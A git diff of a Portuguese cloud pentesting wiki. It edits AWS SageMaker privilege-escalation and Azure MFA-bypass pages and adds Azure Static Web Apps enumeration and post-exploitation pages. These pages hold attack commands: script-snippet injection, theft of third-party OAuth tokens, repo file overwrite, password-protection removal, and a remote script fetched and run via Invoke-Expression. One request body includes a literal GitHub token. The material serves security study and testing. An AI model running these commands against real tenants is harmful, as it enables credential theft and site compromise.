diff --git a/src/images/azure_static_password.png b/src/images/azure_static_password.png new file mode 100644 index 000000000..9b1142516 Binary files /dev/null and b/src/images/azure_static_password.png differ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 583d68651..5473f2614 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -17,7 +17,7 @@ A resposta deve conter um campo `NotebookInstanceArn`, que conterá o ARN da nov aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, depois role para baixo até a aba “Launcher” e na seção “Other”, clique no botão “Terminal”. +Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, depois role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”. Agora é possível acessar as credenciais de metadados da IAM Role. @@ -25,7 +25,7 @@ Agora é possível acessar as credenciais de metadados da IAM Role. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -Se houver **notebooks Jupyter já em execução** nele e você puder listá-los com `sagemaker:ListNotebookInstances` (ou descobri-los de qualquer outra forma). Você pode **gerar uma URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior**. +Se houver **notebooks Jupyter já em execução** e você puder listá-los com `sagemaker:ListNotebookInstances` (ou descobri-los de qualquer outra forma). Você pode **gerar uma URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` @@ -71,7 +71,7 @@ Um atacante com essas permissões será capaz de criar um trabalho de treinament > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Enviar para ECR +> # Enviar para o ECR > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest @@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` Um atacante com essas permissões poderá (potencialmente) criar um **trabalho de treinamento de hiperparâmetros**, **executando um contêiner arbitrário** nele com um **papel anexado**.\ -&#xNAN;_I não explorei devido à falta de tempo, mas parece semelhante aos exploits anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração._ +_Eu não explorei devido à falta de tempo, mas parece semelhante às explorações anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração._ ## Referências diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md new file mode 100644 index 000000000..8148c4fc2 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md @@ -0,0 +1,162 @@ +# Az - Static Web Apps Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Static Web Apps + +Para mais informações sobre este serviço, consulte: + +{{#ref}} +../az-services/az-static-web-apps.md +{{#endref}} + +### Microsoft.Web/staticSites/snippets/write + +É possível fazer uma página da web estática carregar código HTML arbitrário criando um snippet. Isso poderia permitir que um atacante injetasse código JS dentro do aplicativo da web e roubasse informações sensíveis, como credenciais ou chaves mnemônicas (em carteiras web3). + +O seguinte comando cria um snippet que sempre será carregado pelo aplicativo da web:: +```bash +az rest \ +--method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"name": "supersnippet", +"location": "Body", +"applicableEnvironmentsMode": "AllEnvironments", +"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", +"environments": [], +"insertBottom": false +} +}' +``` +### Ler Credenciais de Terceiros Configuradas + +Conforme explicado na seção App Service: + +{{#ref}} +../az-privilege-escalation/az-app-services-privesc.md +{{#endref}} + +Executando o seguinte comando, é possível **ler as credenciais de terceiros** configuradas na conta atual. Observe que, se por exemplo, algumas credenciais do Github estiverem configuradas em um usuário diferente, você não poderá acessar o token de um diferente. +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +Este comando retorna tokens para Github, Bitbucket, Dropbox e OneDrive. + +Aqui estão alguns exemplos de comandos para verificar os tokens: +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### Sobrescrever arquivo - Sobrescrever rotas, HTML, JS... + +É possível **sobrescrever um arquivo dentro do repositório do Github** que contém o aplicativo através do Azure, enviando um pedido como o seguinte, que indicará o caminho do arquivo a ser sobrescrito, o conteúdo do arquivo e a mensagem de commit. + +Isso pode ser explorado por atacantes para basicamente **mudar o conteúdo do aplicativo web** para servir conteúdo malicioso (roubar credenciais, chaves mnemônicas...) ou apenas para **redirecionar certos caminhos** para seus próprios servidores ao sobrescrever o arquivo `staticwebapp.config.json`. + +> [!WARNING] +> Note que se um atacante conseguir comprometer o repositório do Github de qualquer forma, ele também pode sobrescrever o arquivo diretamente do Github. +```bash +curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ +-H "Content-Type: application/json" \ +-d '{ +"commit": { +"message": "Update static web app route configuration", +"branchName": "main", +"committer": { +"name": "Azure App Service", +"email": "donotreply@microsoft.com" +}, +"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", +"filePath": "staticwebapp.config.json", +"message": "Update static web app route configuration", +"repoName": "carlospolop/my-first-static-web-app", +"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" +}, +"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" +}' +``` +### Microsoft.Web/staticSites/config/write + +Com esta permissão, é possível **modificar a senha** que protege um aplicativo web estático ou até mesmo desproteger todos os ambientes enviando uma solicitação como a seguinte: +```bash +# Change password +az rest --method put \ +--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ +--headers 'Content-Type=application/json' \ +--body '{ +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"password": "SuperPassword123.", +"secretUrl": "", +"applicableEnvironmentsMode": "AllEnvironments" +} +}' + +# Remove the need of a password +az rest --method put \ +--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ +--headers 'Content-Type=application/json' \ +--body '{ +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"secretUrl": "", +"applicableEnvironmentsMode": "SpecifiedEnvironments", +"secretState": "None" +} +}' +``` +### Microsoft.Web/staticSites/listSecrets/action + +Esta permissão permite obter o **token de implantação da chave API** para o aplicativo estático. + +Este token permite implantar o aplicativo. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" +``` +Então, para atualizar um aplicativo, você pode executar o seguinte comando. Observe que este comando foi extraído verificando **como o Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funciona**, pois é o que a Azure definiu como padrão para usar. Portanto, a imagem e os parâmetros podem mudar no futuro. + +1. Baixe o repositório [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou qualquer outro repositório que você queira implantar) e execute `cd react-basic`. +2. Altere o código que você deseja implantar +3. Implemente-o executando (lembre-se de alterar o ``): +```bash +docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose +``` +### Microsoft.Web/staticSites/write + +Com esta permissão, é possível **mudar a fonte do aplicativo web estático para um repositório Github diferente**, no entanto, não será provisionado automaticamente, pois isso deve ser feito a partir de uma Github Action, geralmente com o token que autorizou a ação, já que esse token não é atualizado automaticamente dentro dos segredos do Github do repositório (ele é apenas adicionado automaticamente quando o aplicativo é criado). +```bash +az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main +``` +### Microsoft.Web/staticSites/resetapikey/action + +Com esta permissão, é possível **reiniciar a chave da API do aplicativo web estático**, potencialmente causando DoS nos fluxos de trabalho que implantam automaticamente o aplicativo. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 9a89ed59a..914590517 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -9,7 +9,7 @@ As políticas de acesso condicional basicamente **definem** **Quem** pode acessa Aqui estão alguns exemplos: -1. **Política de Risco de Login**: Esta política pode ser configurada para exigir autenticação multifator (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum em comparação com seu padrão regular, como fazer login de um país diferente, o sistema pode solicitar autenticação adicional. +1. **Política de Risco de Login**: Esta política pode ser configurada para exigir autenticação multifatorial (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum em comparação com seu padrão regular, como fazer login de um país diferente, o sistema pode solicitar autenticação adicional. 2. **Política de Conformidade de Dispositivos**: Esta política pode restringir o acesso aos serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso pode ser permitido apenas a dispositivos que tenham software antivírus atualizado ou que estejam executando uma versão específica do sistema operacional. ## Bypasses de Políticas de Acesso Condicional @@ -23,7 +23,7 @@ Também é necessário configurar as **condições** que irão **disparar** a po - **Rede**: IP, intervalos de IP e localizações geográficas - Pode ser contornada usando um VPN ou Proxy para se conectar a um país ou conseguindo fazer login a partir de um endereço IP permitido - **Riscos da Microsoft**: Risco do usuário, risco de login, risco interno -- **Plataformas de dispositivos**: Qualquer dispositivo ou selecionar Android, iOS, Windows Phone, Windows, macOS, Linux +- **Plataformas de dispositivos**: Qualquer dispositivo ou selecionar Android, iOS, Windows phone, Windows, macOS, Linux - Se “Qualquer dispositivo” não estiver selecionado, mas todas as outras opções estiverem selecionadas, é possível contorná-la usando um user-agent aleatório não relacionado a essas plataformas - **Aplicativos cliente**: As opções são “Navegador”, “Aplicativos móveis e clientes de desktop”, “Clientes Exchange ActiveSync” e “Outros clientes” - Para contornar o login com uma opção não selecionada @@ -31,24 +31,24 @@ Também é necessário configurar as **condições** que irão **disparar** a po - **Fluxos de autenticação**: As opções são “Fluxo de código de dispositivo” e “Transferência de autenticação” - Isso não afetará um atacante, a menos que ele esteja tentando abusar de qualquer um desses protocolos em uma tentativa de phishing para acessar a conta da vítima -Os possíveis **resultados** são: Bloquear ou Conceder acesso com condições potenciais como exigir MFA, dispositivo em conformidade... +Os possíveis **resultados** são: Bloquear ou Conceder acesso com condições potenciais como exigir MFA, dispositivo em conformidade… ### Plataformas de Dispositivos - Condição de Dispositivo -É possível definir uma condição com base na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), no entanto, isso é baseado no **user-agent**, então é fácil de contornar. Mesmo **fazendo todas as opções exigirem MFA**, se você usar um **user-agent que não é reconhecido**, você poderá contornar o MFA ou bloqueio: +É possível definir uma condição com base na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), no entanto, isso é baseado no **user-agent**, então é fácil de contornar. Mesmo **fazendo todas as opções exigirem MFA**, se você usar um **user-agent que não é reconhecido,** você poderá contornar o MFA ou bloqueio:
Basta fazer o navegador **enviar um user-agent desconhecido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) para não disparar essa condição.\ -Você pode alterar o user-agent **manualmente** nas ferramentas de desenvolvedor: +Você pode alterar o user agent **manualmente** nas ferramentas de desenvolvedor:
- Ou usar uma [extensão de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). +Ou usar uma [extensão de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). ### Localizações: Países, intervalos de IP - Condição de Dispositivo -Se isso estiver configurado na política condicional, um atacante poderia simplesmente usar um **VPN** no **país permitido** ou tentar encontrar uma maneira de acessar a partir de um **endereço IP permitido** para contornar essas condições. +Se isso estiver configurado na política condicional, um atacante pode simplesmente usar um **VPN** no **país permitido** ou tentar encontrar uma maneira de acessar a partir de um **endereço IP permitido** para contornar essas condições. ### Aplicativos em Nuvem @@ -56,8 +56,8 @@ Se isso estiver configurado na política condicional, um atacante poderia simple
-Para tentar contornar essa proteção, você deve ver se consegue **acessar apenas qualquer aplicativo**.\ -A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos codificados** e tentará fazer login neles e informá-lo, e até mesmo fornecer o token se for bem-sucedido. +Para tentar contornar essa proteção, você deve ver se consegue **acessar qualquer aplicativo**.\ +A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos codificados** e tentará fazer login neles e informá-lo, e até fornecerá o token se for bem-sucedido. Para **testar IDs de aplicativos específicos em recursos específicos**, você também pode usar uma ferramenta como: ```bash @@ -69,7 +69,7 @@ Além disso, também é possível proteger o método de login (por exemplo, se v A ferramenta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) também pode ser usada para propósitos semelhantes, embora pareça não estar mantida. -A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no inquilino e, em seguida, tentará fazer login neles. +A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no locatário e, em seguida, tentará fazer login neles. ## Outros Bypasses de Az MFA @@ -104,7 +104,7 @@ Encontre mais informações sobre esse tipo de ataque na seguinte página: ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) -Este script obtém algumas credenciais de usuário e verifica se é possível fazer login em algumas aplicações. +Este script obtém algumas credenciais de usuário e verifica se pode fazer login em algumas aplicações. Isso é útil para ver se você **não precisa de MFA para fazer login em algumas aplicações** que você pode posteriormente abusar para **escalar privilégios**. @@ -116,7 +116,7 @@ roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep é um script PowerShell que tenta **fazer login em vários serviços da Microsoft usando um conjunto fornecido de credenciais e tentará identificar se o MFA está habilitado**. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifatorial estão configuradas, alguns protocolos podem acabar sendo deixados como fator único. Ele também possui uma verificação adicional para configurações de ADFS e pode tentar fazer login no servidor ADFS local se detectado. +MFASweep é um script PowerShell que tenta **fazer login em vários serviços da Microsoft usando um conjunto de credenciais fornecido e tentará identificar se o MFA está habilitado**. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifatorial estão configuradas, alguns protocolos podem acabar sendo deixados como fator único. Ele também possui uma verificação adicional para configurações de ADFS e pode tentar fazer login no servidor ADFS local se detectado. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password diff --git a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md new file mode 100644 index 000000000..ef32ac0f6 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md @@ -0,0 +1,109 @@ +# Az - Static Web Apps + +{{#include ../../../banners/hacktricks-training.md}} + +## Informações Básicas sobre Aplicativos Web Estáticos + +Azure Static Web Apps é um serviço de nuvem para hospedar **aplicativos web estáticos com CI/CD automático de repositórios como GitHub**. Ele oferece entrega de conteúdo global, backends sem servidor e HTTPS integrado, tornando-o seguro e escalável. No entanto, os riscos incluem CORS mal configurado, autenticação insuficiente e manipulação de conteúdo, que podem expor aplicativos a ataques como XSS e vazamento de dados se não forem gerenciados adequadamente. + +> [!TIP] +> Quando um Aplicativo Estático é criado, você pode escolher a **política de autorização de implantação** entre **Token de implantação** e **fluxo de trabalho do GitHub Actions**. + + +### Autenticação de Aplicativos Web + +É possível **configurar uma senha** para acessar o Aplicativo Web. O console da web permite configurá-la para proteger apenas ambientes de staging ou tanto o staging quanto o de produção. + +É assim que, no momento da escrita, um aplicativo web protegido por senha se parece: + +
+ + +É possível ver **se alguma senha está sendo usada** e quais ambientes estão protegidos com: +```bash +az rest --method GET \ +--url "/subscriptions//resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2024-04-01" +``` +No entanto, isso **não mostrará a senha em texto claro**, apenas algo como: `"password": "**********************"`. + +### Rotas + +As rotas definem **como as solicitações HTTP recebidas são tratadas** dentro de um aplicativo web estático. Configuradas no arquivo **`staticwebapp.config.json`**, elas controlam reescrita de URL, redirecionamentos, restrições de acesso e autorização baseada em função, garantindo o manuseio adequado de recursos e segurança. + +Alguns exemplos: +```json +{ +"routes": [ +{ +"route": "/", +"rewrite": "/index.html" +}, +{ +"route": "/about", +"rewrite": "/about.html" +}, +{ +"route": "/api/*", +"allowedRoles": ["authenticated"] +}, +{ +"route": "/admin", +"redirect": "/login", +"statusCode": 302 +} +], +"navigationFallback": { +"rewrite": "/index.html", +"exclude": ["/api/*", "/assets/*"] +} +} +``` +## Enumeração +```bash +# List Static Webapps +az staticwebapp list --output table + +# Get Static Webapp details +az staticwebapp show --name --resource-group --output table + +# Get appsettings +az staticwebapp appsettings list --name + +# Get env information +az staticwebapp environment list --name +az staticwebapp environment functions --name + +# Get API key +az staticwebapp secrets list --name + +# Get invited users +az staticwebapp users list --name + +# Get database connections +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//databaseConnections?api-version=2021-03-01" + +## Once you have the database connection name ("default" by default) you can get the connection string with the credentials +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//databaseConnections/default/show?api-version=2021-03-01" +``` +## Exemplos para gerar Aplicativos Web + +Você pode encontrar um bom exemplo para gerar um aplicativo web no seguinte link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github) + +1. Faça um fork do repositório https://github.com/staticwebdev/react-basic/generate para sua conta do GitHub e nomeie-o como `my-first-static-web-app` +2. No portal do Azure, crie um Static Web App configurando o acesso ao Github e selecionando o novo repositório que você forkou anteriormente +3. Crie-o, aguarde alguns minutos e verifique sua nova página! + +## Pós Exploração + +{{#ref}} +../az-privilege-escalation/az-static-web-apps-post-exploitation.md +{{#endref}} + +## Referências + +- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) +- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans) + +{{#include ../../../banners/hacktricks-training.md}}